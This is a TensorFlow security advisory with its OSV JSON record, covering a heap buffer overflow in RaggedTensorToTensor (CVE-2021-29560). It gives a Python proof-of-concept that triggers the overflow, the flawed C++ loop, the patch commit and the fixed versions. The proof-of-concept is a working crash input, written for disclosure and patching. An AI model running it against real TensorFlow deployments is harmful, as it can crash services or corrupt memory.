GHSA-8GV3-57P6-G35R
Vulnerability from github – Published: 2021-05-21 14:24 – Updated: 2024-11-01 16:58Impact
An attacker can cause a heap buffer overflow in tf.raw_ops.RaggedTensorToTensor:
import tensorflow as tf
shape = tf.constant([10, 10], shape=[2], dtype=tf.int64)
values = tf.constant(0, shape=[1], dtype=tf.int64)
default_value = tf.constant(0, dtype=tf.int64)
l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
row = tf.constant(l, shape=[5, 43], dtype=tf.int64)
rows = [row]
types = ['ROW_SPLITS']
tf.raw_ops.RaggedTensorToTensor(
shape=shape, values=values, default_value=default_value,
row_partition_tensors=rows, row_partition_types=types)
This is because the implementation uses the same index to access two arrays in parallel:
for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {
INDEX_TYPE row_length = row_split(i + 1) - row_split(i);
INDEX_TYPE real_length = std::min(output_size, row_length);
INDEX_TYPE parent_output_index_current = parent_output_index[i];
...
}
Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when parent_output_index is shorter than row_split.
Patches
We have patched the issue in GitHub commit a84358aa12f0b1518e606095ab9cfddbf597c121.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
{
"affected": [
{
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"ecosystem": "PyPI",
"name": "tensorflow"
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"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
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"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
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"introduced": "2.2.0"
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{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
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"introduced": "2.3.0"
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"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
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"introduced": "2.4.0"
},
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"fixed": "2.4.2"
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"type": "ECOSYSTEM"
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]
}
],
"aliases": [
"CVE-2021-29560"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T20:23:08Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([10, 10], shape=[2], dtype=tf.int64)\nvalues = tf.constant(0, shape=[1], dtype=tf.int64)\ndefault_value = tf.constant(0, dtype=tf.int64)\nl = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nrow = tf.constant(l, shape=[5, 43], dtype=tf.int64)\nrows = [row]\ntypes = [\u0027ROW_SPLITS\u0027]\n\ntf.raw_ops.RaggedTensorToTensor(\n shape=shape, values=values, default_value=default_value,\n row_partition_tensors=rows, row_partition_types=types) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:\n\n```cc\nfor (INDEX_TYPE i = 0; i \u003c row_split_size - 1; ++i) {\n INDEX_TYPE row_length = row_split(i + 1) - row_split(i);\n INDEX_TYPE real_length = std::min(output_size, row_length);\n INDEX_TYPE parent_output_index_current = parent_output_index[i];\n ...\n}\n```\n\nSince the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.\n\n### Patches\nWe have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.",
"id": "GHSA-8gv3-57p6-g35r",
"modified": "2024-11-01T16:58:15Z",
"published": "2021-05-21T14:24:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8gv3-57p6-g35r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29560"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-488.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-686.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-197.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Heap buffer overflow in `RaggedTensorToTensor`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.